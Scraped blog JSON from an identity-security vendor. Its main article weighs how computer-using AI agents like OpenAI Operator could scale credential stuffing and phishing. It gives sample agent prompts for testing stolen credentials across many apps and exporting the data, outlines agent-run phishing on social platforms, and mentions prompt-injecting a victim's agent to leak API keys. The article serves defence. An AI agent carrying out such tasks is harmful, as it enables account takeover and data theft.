other, more complex tasks. So, a bit like a red team manager of AI bots. ",{"data":145304,"content":145305,"nodeType":866},{},[145306],{"data":145307,"marks":145308,"value":145309,"nodeType":865},{},[],"Operator means that attackers can leverage compromised credentials at-scale, take advantage of the vast numbers of vulnerable and misconfigured identities, and convert them into systemic breaches much more easily. In a way, it could make credential stuffing a bit more like it was before the shift to cloud apps — where you could spray thousands of credentials across your targets without needing custom development every time. ",{"data":145311,"content":145312,"nodeType":866},{},[145313,145317,145324,145327,145334],{"data":145314,"marks":145315,"value":145316,"nodeType":865},{},[],"Thankfully, no new anti-AI capabilities are required — but it’s more important than ever that organizations look to defend their identity attack surface and find and fix identity vulnerabilities before attackers can take advantage of them. To prevent stolen credentials being exploited, defenders need to be able ",{"data":145318,"content":145319,"nodeType":889},{"uri":13526},[145320],{"data":145321,"marks":145322,"value":145323,"nodeType":865},{},[],"to quickly identify where compromised credentials are being actively used",{"data":145325,"marks":145326,"value":3476,"nodeType":865},{},[],{"data":145328,"content":145329,"nodeType":889},{"uri":132524},[145330],{"data":145331,"marks":145332,"value":145333,"nodeType":865},{},[],"deploy mitigating controls like MFA",{"data":145335,"marks":145336,"value":145337,"nodeType":865},{},[]," to prevent exploitation with a vulnerable single factor. ",{"data":145339,"content":145340,"nodeType":972},{},[],{"data":145342,"content":145343,"nodeType":981},{},[145344],{"data":145345,"marks":145346,"value":6331,"nodeType":865},{},[],{"data":145348,"content":145349,"nodeType":866},{},[145350,145354,145361],{"data":145351,"marks":145352,"value":145353,"nodeType":865},{},[],"If you want to learn more about identity attacks and how to stop them, ",{"data":145355,"content":145356,"nodeType":889},{"uri":1372},[145357],{"data":145358,"marks":145359,"value":14066,"nodeType":865},{},[145360],{"type":943},{"data":145362,"marks":145363,"value":1615,"nodeType":865},{},[],{"data":145365,"content":145366,"nodeType":866},{},[145367,145371,145379],{"data":145368,"marks":145369,"value":145370,"nodeType":865},{},[],"And if you want to see more malicious use cases of Operator in action, ",{"data":145372,"content":145373,"nodeType":889},{"uri":144711},[145374],{"data":145375,"marks":145376,"value":145378,"nodeType":865},{},[145377],{"type":943},"check out this on-demand webinar. ",{"data":145380,"marks":145381,"value":21,"nodeType":865},{},[],{"data":145383,"content":145386,"nodeType":912},{"target":145384},{"sys":145385},{"id":141145,"type":909,"linkType":910},[],{"data":145388,"content":145389,"nodeType":866},{},[145390],{"data":145391,"marks":145392,"value":21,"nodeType":865},{},[],"How new AI agents will transform credential stuffing attacks","Credential stuffing attacks had a huge impact in 2024. But things could be dialled up even further with Computer-Using Agents like OpenAI Operator. ","2025-03-11T00:00:00.000Z","how-new-ai-agents-will-transform-credential-stuffing-attacks",{"items":145398},[145399,145401],{"sys":145400,"name":7796},{"id":7795},{"sys":145402,"name":297},{"id":2310},{"items":145404},[145405],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":145406},{"url":7804},{"__typename":1429,"sys":145408,"content":145410,"title":146025,"synopsis":146026,"hashTags":59,"publishedDate":146027,"slug":146028,"tagsCollection":146029,"authorsCollection":146035},{"id":145409},"SiALa9w13C6q3OzeTeUum",{"json":145411},{"data":145412,"content":145413,"nodeType":1382},{},[145414,145421,145437,145444,145450,145457,145464,145467,145474,145481,145488,145511,145518,145534,145537,145544,145551,145574,145581,145588,145606,145612,145619,145638,145644,145651,145697,145705,145712,145724,145736,145743,145776,145783,145786,145793,145813,145820,145827,145834,145837,145844,145852,145859,145866,145929,145936,145943,145950,145983,145989,145996,146003,146009],{"data":145415,"content":145416,"nodeType":866},{},[145417],{"data":145418,"marks":145419,"value":145420,"nodeType":865},{},[],"Computer-Using Agents (CUAs) are a new type of AI agent that drives your browser/OS for you. With the research preview release of OpenAI Operator last week, it’s likely that we’ll be seeing a lot more of this technology in the future as OpenAI iterates and competitors launch their own versions. ",{"data":145422,"content":145423,"nodeType":866},{},[145424,145428,145433],{"data":145425,"marks":145426,"value":145427,"nodeType":865},{},[],"These models run on the same UI as the user sees, rather than using code or API based add-ons or tools (e.g. with access via API keys). In Operator’s case, the agent runs in its own browser, where it can navigate to and interact with webpages by typing, clicking, and scrolling. It effectively sees and interacts with pages as a human would, ",{"data":145429,"marks":145430,"value":145432,"nodeType":865},{},[145431],{"type":926},"using human (not machine) identities",{"data":145434,"marks":145435,"value":145436,"nodeType":865},{},[]," — taking actions on the web without requiring custom API integrations. ",{"data":145438,"content":145439,"nodeType":866},{},[145440],{"data":145441,"marks":145442,"value":145443,"nodeType":865},{},[],"This means that a user describes a task, and Operator performs it autonomously on their behalf. The examples provided by OpenAI are things like booking a dinner reservation or shopping for groceries — but naturally the potential use cases are much, much broader, especially in a work context.",{"data":145445,"content":145449,"nodeType":912},{"target":145446},{"sys":145447},{"id":145448,"type":909,"linkType":910},"5mWWi5mfqEcSQX12gOtyQm",[],{"data":145451,"content":145452,"nodeType":866},{},[145453],{"data":145454,"marks":145455,"value":145456,"nodeType":865},{},[],"Obviously the broad impact of this technology is almost impossible to predict this early in the game. But since we’re focussed on identity security at Push, we can at least describe some of the very predictable impacts in this area.",{"data":145458,"content":145459,"nodeType":866},{},[145460],{"data":145461,"marks":145462,"value":145463,"nodeType":865},{},[],"CUAs like Operator are essentially very flexible no-code automation platforms. This means that these tools (or future iterations of them) will enable low-cost, low-effort automation of common web tasks — the very tasks that app developers and vendors have worked hard to prevent from being automated — including those frequently performed by attackers.",{"data":145465,"content":145466,"nodeType":972},{},[],{"data":145468,"content":145469,"nodeType":981},{},[145470],{"data":145471,"marks":145472,"value":145473,"nodeType":865},{},[],"Why do CUAs stand to benefit attackers more than previous AI tools? ",{"data":145475,"content":145476,"nodeType":866},{},[145477],{"data":145478,"marks":145479,"value":145480,"nodeType":865},{},[],"Organizations have been concerned about the security and privacy implications of GenAI tools and platforms for a while now — mainly concerning the risk of inputting sensitive data into LLMs, and prompt injection attacks in which models can be tricked into disclosing internal data. ",{"data":145482,"content":145483,"nodeType":866},{},[145484],{"data":145485,"marks":145486,"value":145487,"nodeType":865},{},[],"But so far, the primary impact of GenAI on attacker capabilities specifically has been mainly limited to the use of LLMs for the creation of phishing emails and in AI-assisted malware development — no doubt significant, but not exactly transformative. And although the concept of an AI agent is nothing new, they haven’t been particularly common outside of research circles. ",{"data":145489,"content":145490,"nodeType":866},{},[145491,145495,145500,145503,145508],{"data":145492,"marks":145493,"value":145494,"nodeType":865},{},[],"CUAs, on the other hand, use LLMs trained using datasets which make them far more able to understand and interact with web pages. Coupled with what is essentially a production-grade integration between browser and LLM, and you have an agent that is able to understand and interact with websites to achieve an outcome, with minimal human input and oversight (as opposed to simply scraping the data) ",{"data":145496,"marks":145497,"value":145499,"nodeType":865},{},[145498],{"type":926},"with much the same behaviors and capabilities",{"data":145501,"marks":145502,"value":2688,"nodeType":865},{},[],{"data":145504,"marks":145505,"value":145507,"nodeType":865},{},[145506],{"type":926},"as a human operator.",{"data":145509,"marks":145510,"value":5959,"nodeType":865},{},[],{"data":145512,"content":145513,"nodeType":866},{},[145514],{"data":145515,"marks":145516,"value":145517,"nodeType":865},{},[],"By performing actions autonomously on the user’s behalf, it has a lot in common with a low/no-code automation platform like Zapier or Make.com — except it doesn’t perform actions via API, but by performing actions in the browser as a user would. Unlike no/low-code automations, it doesn’t need a strict or rigid step-by-step description of tasks that should be automated and can dynamically generate steps like a human does. ",{"data":145519,"content":145520,"nodeType":866},{},[145521,145525,145530],{"data":145522,"marks":145523,"value":145524,"nodeType":865},{},[],"None of this can’t be done using other automation tools, but it’s the difference between writing code to automate a task by hand and asking a human assistant to do something for you — ",{"data":145526,"marks":145527,"value":145529,"nodeType":865},{},[145528],{"type":926},"the effort required is reduced by orders of magnitude.",{"data":145531,"marks":145532,"value":145533,"nodeType":865},{},[]," This makes it both more flexible and accessible to a much wider range of users. ",{"data":145535,"content":145536,"nodeType":972},{},[],{"data":145538,"content":145539,"nodeType":981},{},[145540],{"data":145541,"marks":145542,"value":145543,"nodeType":865},{},[],"How can CUAs be abused by attackers?",{"data":145545,"content":145546,"nodeType":866},{},[145547],{"data":145548,"marks":145549,"value":145550,"nodeType":865},{},[],"There are two main groups of attack to be aware of:",{"data":145552,"content":145553,"nodeType":1616},{},[145554,145564],{"data":145555,"content":145556,"nodeType":1570},{},[145557],{"data":145558,"content":145559,"nodeType":866},{},[145560],{"data":145561,"marks":145562,"value":145563,"nodeType":865},{},[],"Attacks enabled by the technology (CUA)",{"data":145565,"content":145566,"nodeType":1570},{},[145567],{"data":145568,"content":145569,"nodeType":866},{},[145570],{"data":145571,"marks":145572,"value":145573,"nodeType":865},{},[],"Attacks against specific CUA tools/implementations (e.g. Operator)",{"data":145575,"content":145576,"nodeType":866},{},[145577],{"data":145578,"marks":145579,"value":145580,"nodeType":865},{},[],"Because the answer to the latter question is subjective depending on the CUA being targeted (and Operator is still in its “research preview” release) we’ll focus on how attackers can potentially use CUAs for malicious purposes in general. ",{"data":145582,"content":145583,"nodeType":1317},{},[145584],{"data":145585,"marks":145586,"value":145587,"nodeType":865},{},[],"How attackers can use their own CUAs to conduct AI-powered cyber attacks",{"data":145589,"content":145590,"nodeType":866},{},[145591,145595,145603],{"data":145592,"marks":145593,"value":145594,"nodeType":865},{},[],"The most obvious use-case for an attacker-controlled CUA is targeting internet-based app accounts. Most organizations are now using hundreds of apps, with thousands of sprawling identities (including both inside enterprise SSO connected accounts and local username & password logins) — ",{"data":145596,"content":145597,"nodeType":889},{"uri":6698},[145598],{"data":145599,"marks":145600,"value":145602,"nodeType":865},{},[145601],{"type":943},"many of which are highly vulnerable to even low-sophistication attack techniques",{"data":145604,"marks":145605,"value":14251,"nodeType":865},{},[],{"data":145607,"content":145611,"nodeType":912},{"target":145608},{"sys":145609},{"id":145610,"type":909,"linkType":910},"7itjimRwqpkrCF7YRI8FTq",[],{"data":145613,"content":145614,"nodeType":866},{},[145615],{"data":145616,"marks":145617,"value":145618,"nodeType":865},{},[],"Previously, identity attacks against modern SaaS environments and the sprawl of apps and accounts required a lot of manual work to scale. Because web identities are implemented in mostly bespoke ways across thousands of sites (and they are constantly changing) attacks on them are challenging to automate. Further, the act of logging in using automated methods has been impacted by widespread bot protection — specifically to prevent malicious automation. ",{"data":145620,"content":145621,"nodeType":866},{},[145622,145626,145634],{"data":145623,"marks":145624,"value":145625,"nodeType":865},{},[],"So, attackers end up sending phishing links through email, and targeting only a few high value apps for cred stuffing — despite the availability of credentials online (which, ",{"data":145627,"content":145628,"nodeType":889},{"uri":3488},[145629],{"data":145630,"marks":145631,"value":145633,"nodeType":865},{},[145632],{"type":943},"as the Snowflake attacks demonstrate",{"data":145635,"marks":145636,"value":145637,"nodeType":865},{},[],", can be an untapped treasure trove for attackers).",{"data":145639,"content":145643,"nodeType":912},{"target":145640},{"sys":145641},{"id":145642,"type":909,"linkType":910},"24HV5O6LJ12ZVECTSel2WL",[],{"data":145645,"content":145646,"nodeType":866},{},[145647],{"data":145648,"marks":145649,"value":145650,"nodeType":865},{},[],"We know that about 1 in 3 users re-use passwords, so there is a great chance a lot of those exact same credentials were actually valid for many other apps. It’s very tough to manually test each credential by logging into even a few dozen apps (or building a web automation to do so). But this is significantly easier if you can ask a CUA to: ",{"data":145652,"content":145653,"nodeType":1616},{},[145654,145664,145674],{"data":145655,"content":145656,"nodeType":1570},{},[145657],{"data":145658,"content":145659,"nodeType":866},{},[145660],{"data":145661,"marks":145662,"value":145663,"nodeType":865},{},[],"“Find a list of the top 1000 SaaS apps”. ",{"data":145665,"content":145666,"nodeType":1570},{},[145667],{"data":145668,"content":145669,"nodeType":866},{},[145670],{"data":145671,"marks":145672,"value":145673,"nodeType":865},{},[],"“Try to login to the app using this username and password. Let me know which apps you successfully logged into”. ",{"data":145675,"content":145676,"nodeType":1570},{},[145677],{"data":145678,"content":145679,"nodeType":866},{},[145680,145684,145693],{"data":145681,"marks":145682,"value":145683,"nodeType":865},{},[],"“Use ",{"data":145685,"content":145687,"nodeType":889},{"uri":145686},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/takeout_services/description.md",[145688],{"data":145689,"marks":145690,"value":145692,"nodeType":865},{},[145691],{"type":943},"takeout services",{"data":145694,"marks":145695,"value":145696,"nodeType":865},{},[]," to download data from each app and send it to this location, grouping by company name” (or even just ask the model to cut and paste or download the data from the account).",{"data":145698,"content":145699,"nodeType":866},{},[145700],{"data":145701,"marks":145702,"value":145704,"nodeType":865},{},[145703],{"type":926},"This is how you really scale these attacks.",{"data":145706,"content":145707,"nodeType":866},{},[145708],{"data":145709,"marks":145710,"value":145711,"nodeType":865},{},[],"CUA agents also change how and where phishing can take place. Where phishing takes place outside of email, it’s much less likely to be intercepted by enterprise anti-phishing controls. You could:",{"data":145713,"content":145714,"nodeType":866},{},[145715,145720],{"data":145716,"marks":145717,"value":145719,"nodeType":865},{},[145718],{"type":926},"1.",{"data":145721,"marks":145722,"value":145723,"nodeType":865},{},[]," Task an agent to create Reddit, Discord, and Slack accounts, login, and find the 100 (or 10000?) biggest subreddits/communities/channels. Now have it join those, and write posts that seem relevant to ongoing threads, or write targeted DMs and include links to a phishing page. If the account gets banned, no problem, automatically start over. Not enough karma? Instruct the agent to build karma.",{"data":145725,"content":145726,"nodeType":866},{},[145727,145732],{"data":145728,"marks":145729,"value":145731,"nodeType":865},{},[145730],{"type":926},"2.",{"data":145733,"marks":145734,"value":145735,"nodeType":865},{},[]," Or consider a more targeted scenario: connect to a specific target (or group of targets) via LinkedIn, read all your target’s posts and comments, and using that context start a conversation with them, using a topic you know that will interest them to create a phishing lure, and direct them to your phishing site. ",{"data":145737,"content":145738,"nodeType":1317},{},[145739],{"data":145740,"marks":145741,"value":145742,"nodeType":865},{},[],"Operator caveats",{"data":145744,"content":145745,"nodeType":866},{},[145746,145750,145759,145763,145772],{"data":145747,"marks":145748,"value":145749,"nodeType":865},{},[],"Now, it’s worth pointing out that Operator has controls that are designed to prevent this sort of abuse. ",{"data":145751,"content":145753,"nodeType":889},{"uri":145752},"https://openai.com/index/introducing-operator/",[145754],{"data":145755,"marks":145756,"value":145758,"nodeType":865},{},[145757],{"type":943},"For example",{"data":145760,"marks":145761,"value":145762,"nodeType":865},{},[],", Operator is trained to proactively ask the user to take over for tasks that require login, payment details, or when solving CAPTCHAs. The ",{"data":145764,"content":145766,"nodeType":889},{"uri":145765},"https://openai.com/index/operator-system-card/",[145767],{"data":145768,"marks":145769,"value":145771,"nodeType":865},{},[145770],{"type":943},"Operator System Card",{"data":145773,"marks":145774,"value":145775,"nodeType":865},{},[]," also cites proactive refusals of high-risk tasks, confirmation prompts before critical actions, and active monitoring systems to detect and mitigate potential threats.",{"data":145777,"content":145778,"nodeType":866},{},[145779],{"data":145780,"marks":145781,"value":145782,"nodeType":865},{},[],"It’s unclear at this point how resistant Operator will be to attack or abuse, but really, as we said earlier, this is not about Operator — once CUA tech becomes more widely available (if recent trends are anything to go by) there’s no doubt that models will emerge with fewer (or no) safety controls. ",{"data":145784,"content":145785,"nodeType":972},{},[],{"data":145787,"content":145788,"nodeType":981},{},[145789],{"data":145790,"marks":145791,"value":145792,"nodeType":865},{},[],"Why CUA-based automation is a problem for security teams",{"data":145794,"content":145795,"nodeType":866},{},[145796,145800,145809],{"data":145797,"marks":145798,"value":145799,"nodeType":865},{},[],"Attackers have been using automation tools forever, and in response, developers have been building protections against them (e.g. Cloudflare Turnstile and CAPTCHAs). Using LLMs to super power them isn’t even new, nor is using automation apps for malicious purposes (see our SaaS attack matrix entry for ",{"data":145801,"content":145803,"nodeType":889},{"uri":145802},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/shadow_workflows/description.md",[145804],{"data":145805,"marks":145806,"value":145808,"nodeType":865},{},[145807],{"type":943},"shadow workflows",{"data":145810,"marks":145811,"value":145812,"nodeType":865},{},[],") — so what’s the difference?",{"data":145814,"content":145815,"nodeType":866},{},[145816],{"data":145817,"marks":145818,"value":145819,"nodeType":865},{},[],"Previously, attackers needed to tie together automated browsers, get bot protection bypasses working, write code to extract screenshots from these browsers, pump those screenshots into a traditional LLM, generate response actions, and write code to execute those actions using browser automation. It was a lot of manual work — and needed constant maintenance — and wasn’t very effective because the general LLMs weren’t good at interpreting what they were seeing.",{"data":145821,"content":145822,"nodeType":866},{},[145823],{"data":145824,"marks":145825,"value":145826,"nodeType":865},{},[],"So, this isn’t so much a change in capability but a signal that there is going to be a massive increase in performance compared to other AI agents. Bundle the new model’s ability to understand with the ability to interact with webpages and you have something that might soon create real world impact at scale. ",{"data":145828,"content":145829,"nodeType":866},{},[145830],{"data":145831,"marks":145832,"value":145833,"nodeType":865},{},[],"Perhaps the only real obstacles are safety controls and cost. But as we’ve seen after previous GenAI launches, most recently with DeepSeek — competitors have been fast following with models that out-perform the original. Some of these models will be open and contain far fewer safety protections. An open CUA model in the future might be the trigger that enables attackers to leverage these capabilities at scale. ",{"data":145835,"content":145836,"nodeType":972},{},[],{"data":145838,"content":145839,"nodeType":981},{},[145840],{"data":145841,"marks":145842,"value":145843,"nodeType":865},{},[],"So what?",{"data":145845,"content":145846,"nodeType":866},{},[145847],{"data":145848,"marks":145849,"value":145851,"nodeType":865},{},[145850],{"type":926},"The TL;DR is that the adoption of CUAs has the potential to significantly lower the cost to attackers of running identity attacks such as phishing and credential stuffing, while increasing their reach.",{"data":145853,"content":145854,"nodeType":866},{},[145855],{"data":145856,"marks":145857,"value":145858,"nodeType":865},{},[],"We can expect improved account takeover attacks in the future as this technology becomes more widespread, with phishing attacks being increasingly delivered outside of traditional (well-protected) mediums like email, and credential stuffing being weaponized on an even more widespread scale, across a broader range of apps. These capabilities will also become more accessible, with even less advanced attackers able to harness them.",{"data":145860,"content":145861,"nodeType":866},{},[145862],{"data":145863,"marks":145864,"value":145865,"nodeType":865},{},[],"Right now, Operator runs in a sandboxed browser environment. But going forward, more value will require an increased ability to perform authenticated access as the user — so one could imagine a world where new features are built to expose passwords into this sandbox — or that these agents will be enabled outside these sandboxes and operate in your browser (primarily) or directly on your OS using agents. We’ve already seen these agents implemented as browser extensions. This makes sense as extensions can see the tab, and interact with the page — and some early extension-based agents have existed for a while:",{"data":145867,"content":145868,"nodeType":1616},{},[145869,145889,145909],{"data":145870,"content":145871,"nodeType":1570},{},[145872],{"data":145873,"content":145874,"nodeType":866},{},[145875,145878,145886],{"data":145876,"marks":145877,"value":21,"nodeType":865},{},[],{"data":145879,"content":145881,"nodeType":889},{"uri":145880},"https://github.com/richardyc/Chrome-GPT",[145882],{"data":145883,"marks":145884,"value":145880,"nodeType":865},{},[145885],{"type":943},{"data":145887,"marks":145888,"value":5959,"nodeType":865},{},[],{"data":145890,"content":145891,"nodeType":1570},{},[145892],{"data":145893,"content":145894,"nodeType":866},{},[145895,145898,145906],{"data":145896,"marks":145897,"value":21,"nodeType":865},{},[],{"data":145899,"content":145901,"nodeType":889},{"uri":145900},"https://github.com/handrew/browserpilot",[145902],{"data":145903,"marks":145904,"value":145900,"nodeType":865},{},[145905],{"type":943},{"data":145907,"marks":145908,"value":21,"nodeType":865},{},[],{"data":145910,"content":145911,"nodeType":1570},{},[145912],{"data":145913,"content":145914,"nodeType":866},{},[145915,145918,145926],{"data":145916,"marks":145917,"value":21,"nodeType":865},{},[],{"data":145919,"content":145921,"nodeType":889},{"uri":145920},"https://github.com/TaxyAI/browser-extension",[145922],{"data":145923,"marks":145924,"value":145920,"nodeType":865},{},[145925],{"type":943},{"data":145927,"marks":145928,"value":1615,"nodeType":865},{},[],{"data":145930,"content":145931,"nodeType":866},{},[145932],{"data":145933,"marks":145934,"value":145935,"nodeType":865},{},[],"If we have agents operating on user endpoints, not in sandboxes, that means they will have access to all identities that are already authenticated, or that can be automatically authenticated (password manager autofills etc.). There’s nothing fundamentally stopping you from prompt-injecting a victim's CUA and tricking it into creating a malicious integration, or sending you an API key.",{"data":145937,"content":145938,"nodeType":1317},{},[145939],{"data":145940,"marks":145941,"value":145942,"nodeType":865},{},[],"So to summarize...",{"data":145944,"content":145945,"nodeType":866},{},[145946],{"data":145947,"marks":145948,"value":145949,"nodeType":865},{},[],"Organizations should anticipate an increase in identity attacks targeting web-based apps and services using techniques that can be amplified by CUAs such as phishing and credential stuffing. We recommend that organizations:",{"data":145951,"content":145952,"nodeType":1616},{},[145953,145963,145973],{"data":145954,"content":145955,"nodeType":1570},{},[145956],{"data":145957,"content":145958,"nodeType":866},{},[145959],{"data":145960,"marks":145961,"value":145962,"nodeType":865},{},[],"Anticipate an increase in phishing attacks delivered outside of email, and evaluate your detection capabilities for mediums such as IM platforms and social media sites.",{"data":145964,"content":145965,"nodeType":1570},{},[145966],{"data":145967,"content":145968,"nodeType":866},{},[145969],{"data":145970,"marks":145971,"value":145972,"nodeType":865},{},[],"Find and harden identities that could be vulnerable to attacks using techniques that can be automated (e.g. mass credential stuffing) such as those missing phishing resistant MFA (or MFA altogether).",{"data":145974,"content":145975,"nodeType":1570},{},[145976],{"data":145977,"content":145978,"nodeType":866},{},[145979],{"data":145980,"marks":145981,"value":145982,"nodeType":865},{},[],"Ensure that all identities are suitably protected — even those outside the scope of traditional identity stores (such as Active Directory and modern equivalents e.g. Entra, Okta) used to access the much broader set of web-based services. ",{"data":145984,"content":145985,"nodeType":1317},{},[145986],{"data":145987,"marks":145988,"value":6331,"nodeType":865},{},[],{"data":145990,"content":145991,"nodeType":866},{},[145992],{"data":145993,"marks":145994,"value":145995,"nodeType":865},{},[],"AI-powered or not, identity attacks are what Push is designed to combat. Our features and controls designed to stop account takeover via phishing, credential stuffing, and session hijacking remain effective in this new world — in fact, as attackers are granted the ability to conduct these attacks with greater speed and scale, they become more valuable than ever. ",{"data":145997,"content":145998,"nodeType":866},{},[145999],{"data":146000,"marks":146001,"value":146002,"nodeType":865},{},[],"If you're interested in learning more, check out our on-demand webinar where we demonstrate the use of CUAs for automating identity attacks, particularly in the context of SaaS account takeover. ",{"data":146004,"content":146008,"nodeType":912},{"target":146005},{"sys":146006},{"id":146007,"type":909,"linkType":910},"UCmd5kqVZ03ce5Cs9M0r5",[],{"data":146010,"content":146011,"nodeType":866},{},[146012,146016,146022],{"data":146013,"marks":146014,"value":146015,"nodeType":865},{},[],"If you’d like to learn more about Push, ",{"data":146017,"content":146018,"nodeType":889},{"uri":16069},[146019],{"data":146020,"marks":146021,"value":132578,"nodeType":865},{},[],{"data":146023,"marks":146024,"value":132582,"nodeType":865},{},[],"Considering the security implications of Computer-Using Agents (like OpenAI Operator)","CUAs are a new type of AI agent that drives your browser/OS for you, enabling effortless automation of web tasks — including those performed by attackers.","2025-01-28T00:00:00.000Z","considering-the-impact-of-computer-using-agents",{"items":146030},[146031,146033],{"sys":146032,"name":7796},{"id":7795},{"sys":146034,"name":297},{"id":2310},{"items":146036},[146037],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":146038},{"url":57336},{"__typename":1429,"sys":146040,"content":146041,"title":132583,"synopsis":132584,"hashTags":59,"publishedDate":132585,"slug":132586,"tagsCollection":147044,"authorsCollection":147050},{"id":131415},{"json":146042},{"data":146043,"content":146044,"nodeType":1382},{},[146045,146051,146098,146104,146107,146113,146119,146145,146155,146158,146164,146174,146180,146196,146201,146217,146223,146233,146250,146266,146272,146288,146293,146309,146312,146318,146325,146331,146347,146363,146369,146385,146391,146398,146419,146425,146441,146458,146463,146469,146485,146488,146494,146510,146526,146532,146580,146586,146589,146595,146602,146618,146634,146640,146647,146653,146670,146676,146682,146687,146692,146695,146701,146708,146714,146730,146739,146755,146761,146767,146776,146783,146789,146806,146811,146814,146820,146826,146832,146893,146899,146905,146911,146918,146935,146941,146946,146956,146973,146979,146986,147003,147009,147015,147020,147023,147029],{"data":146046,"content":146047,"nodeType":866},{},[146048],{"data":146049,"marks":146050,"value":131426,"nodeType":865},{},[],{"data":146052,"content":146053,"nodeType":1616},{},[146054,146070,146079],{"data":146055,"content":146056,"nodeType":1570},{},[146057],{"data":146058,"content":146059,"nodeType":866},{},[146060,146063,146067],{"data":146061,"marks":146062,"value":131439,"nodeType":865},{},[],{"data":146064,"marks":146065,"value":131444,"nodeType":865},{},[146066],{"type":898},{"data":146068,"marks":146069,"value":131448,"nodeType":865},{},[],{"data":146071,"content":146072,"nodeType":1570},{},[146073],{"data":146074,"content":146075,"nodeType":866},{},[146076],{"data":146077,"marks":146078,"value":131458,"nodeType":865},{},[],{"data":146080,"content":146081,"nodeType":1570},{},[146082],{"data":146083,"content":146084,"nodeType":866},{},[146085,146088,146095],{"data":146086,"marks":146087,"value":131468,"nodeType":865},{},[],{"data":146089,"content":146090,"nodeType":889},{"uri":131471},[146091],{"data":146092,"marks":146093,"value":131477,"nodeType":865},{},[146094],{"type":943},{"data":146096,"marks":146097,"value":131481,"nodeType":865},{},[],{"data":146099,"content":146100,"nodeType":866},{},[146101],{"data":146102,"marks":146103,"value":131488,"nodeType":865},{},[],{"data":146105,"content":146106,"nodeType":972},{},[],{"data":146108,"content":146109,"nodeType":981},{},[146110],{"data":146111,"marks":146112,"value":131498,"nodeType":865},{},[],{"data":146114,"content":146115,"nodeType":866},{},[146116],{"data":146117,"marks":146118,"value":131505,"nodeType":865},{},[],{"data":146120,"content":146121,"nodeType":866},{},[146122,146125,146132,146135,146142],{"data":146123,"marks":146124,"value":131512,"nodeType":865},{},[],{"data":146126,"content":146127,"nodeType":889},{"uri":131515},[146128],{"data":146129,"marks":146130,"value":131521,"nodeType":865},{},[146131],{"type":943},{"data":146133,"marks":146134,"value":131525,"nodeType":865},{},[],{"data":146136,"content":146137,"nodeType":889},{"uri":131528},[146138],{"data":146139,"marks":146140,"value":131534,"nodeType":865},{},[146141],{"type":943},{"data":146143,"marks":146144,"value":131538,"nodeType":865},{},[],{"data":146146,"content":146147,"nodeType":866},{},[146148,146151],{"data":146149,"marks":146150,"value":131545,"nodeType":865},{},[],{"data":146152,"marks":146153,"value":131550,"nodeType":865},{},[146154],{"type":926},{"data":146156,"content":146157,"nodeType":972},{},[],{"data":146159,"content":146160,"nodeType":981},{},[146161],{"data":146162,"marks":146163,"value":131560,"nodeType":865},{},[],{"data":146165,"content":146166,"nodeType":1317},{},[146167,146171],{"data":146168,"marks":146169,"value":131568,"nodeType":865},{},[146170],{"type":926},{"data":146172,"marks":146173,"value":2688,"nodeType":865},{},[],{"data":146175,"content":146176,"nodeType":866},{},[146177],{"data":146178,"marks":146179,"value":131578,"nodeType":865},{},[],{"data":146181,"content":146182,"nodeType":866},{},[146183,146186,146193],{"data":146184,"marks":146185,"value":131585,"nodeType":865},{},[],{"data":146187,"content":146188,"nodeType":889},{"uri":82201},[146189],{"data":146190,"marks":146191,"value":131593,"nodeType":865},{},[146192],{"type":943},{"data":146194,"marks":146195,"value":131597,"nodeType":865},{},[],{"data":146197,"content":146200,"nodeType":912},{"target":146198},{"sys":146199},{"id":131602,"type":909,"linkType":910},[],{"data":146202,"content":146203,"nodeType":866},{},[146204,146207,146214],{"data":146205,"marks":146206,"value":131610,"nodeType":865},{},[],{"data":146208,"content":146209,"nodeType":889},{"uri":131613},[146210],{"data":146211,"marks":146212,"value":131619,"nodeType":865},{},[146213],{"type":943},{"data":146215,"marks":146216,"value":131623,"nodeType":865},{},[],{"data":146218,"content":146219,"nodeType":866},{},[146220],{"data":146221,"marks":146222,"value":131630,"nodeType":865},{},[],{"data":146224,"content":146225,"nodeType":1317},{},[146226,146230],{"data":146227,"marks":146228,"value":79801,"nodeType":865},{},[146229],{"type":926},{"data":146231,"marks":146232,"value":2688,"nodeType":865},{},[],{"data":146234,"content":146235,"nodeType":866},{},[146236,146239,146247],{"data":146237,"marks":146238,"value":131647,"nodeType":865},{},[],{"data":146240,"content":146241,"nodeType":889},{"uri":67859},[146242],{"data":146243,"marks":146244,"value":131656,"nodeType":865},{},[146245,146246],{"type":943},{"type":926},{"data":146248,"marks":146249,"value":131660,"nodeType":865},{},[],{"data":146251,"content":146252,"nodeType":866},{},[146253,146256,146263],{"data":146254,"marks":146255,"value":131667,"nodeType":865},{},[],{"data":146257,"content":146258,"nodeType":889},{"uri":131670},[146259],{"data":146260,"marks":146261,"value":131676,"nodeType":865},{},[146262],{"type":943},{"data":146264,"marks":146265,"value":131680,"nodeType":865},{},[],{"data":146267,"content":146268,"nodeType":866},{},[146269],{"data":146270,"marks":146271,"value":131687,"nodeType":865},{},[],{"data":146273,"content":146274,"nodeType":866},{},[146275,146278,146285],{"data":146276,"marks":146277,"value":131694,"nodeType":865},{},[],{"data":146279,"content":146280,"nodeType":889},{"uri":6698},[146281],{"data":146282,"marks":146283,"value":131702,"nodeType":865},{},[146284],{"type":943},{"data":146286,"marks":146287,"value":131706,"nodeType":865},{},[],{"data":146289,"content":146292,"nodeType":912},{"target":146290},{"sys":146291},{"id":131711,"type":909,"linkType":910},[],{"data":146294,"content":146295,"nodeType":866},{},[146296,146299,146306],{"data":146297,"marks":146298,"value":131719,"nodeType":865},{},[],{"data":146300,"content":146301,"nodeType":889},{"uri":131722},[146302],{"data":146303,"marks":146304,"value":131728,"nodeType":865},{},[146305],{"type":943},{"data":146307,"marks":146308,"value":131732,"nodeType":865},{},[],{"data":146310,"content":146311,"nodeType":972},{},[],{"data":146313,"content":146314,"nodeType":981},{},[146315],{"data":146316,"marks":146317,"value":131742,"nodeType":865},{},[],{"data":146319,"content":146320,"nodeType":1317},{},[146321],{"data":146322,"marks":146323,"value":131568,"nodeType":865},{},[146324],{"type":926},{"data":146326,"content":146327,"nodeType":866},{},[146328],{"data":146329,"marks":146330,"value":131756,"nodeType":865},{},[],{"data":146332,"content":146333,"nodeType":866},{},[146334,146337,146344],{"data":146335,"marks":146336,"value":131763,"nodeType":865},{},[],{"data":146338,"content":146339,"nodeType":889},{"uri":54386},[146340],{"data":146341,"marks":146342,"value":131771,"nodeType":865},{},[146343],{"type":943},{"data":146345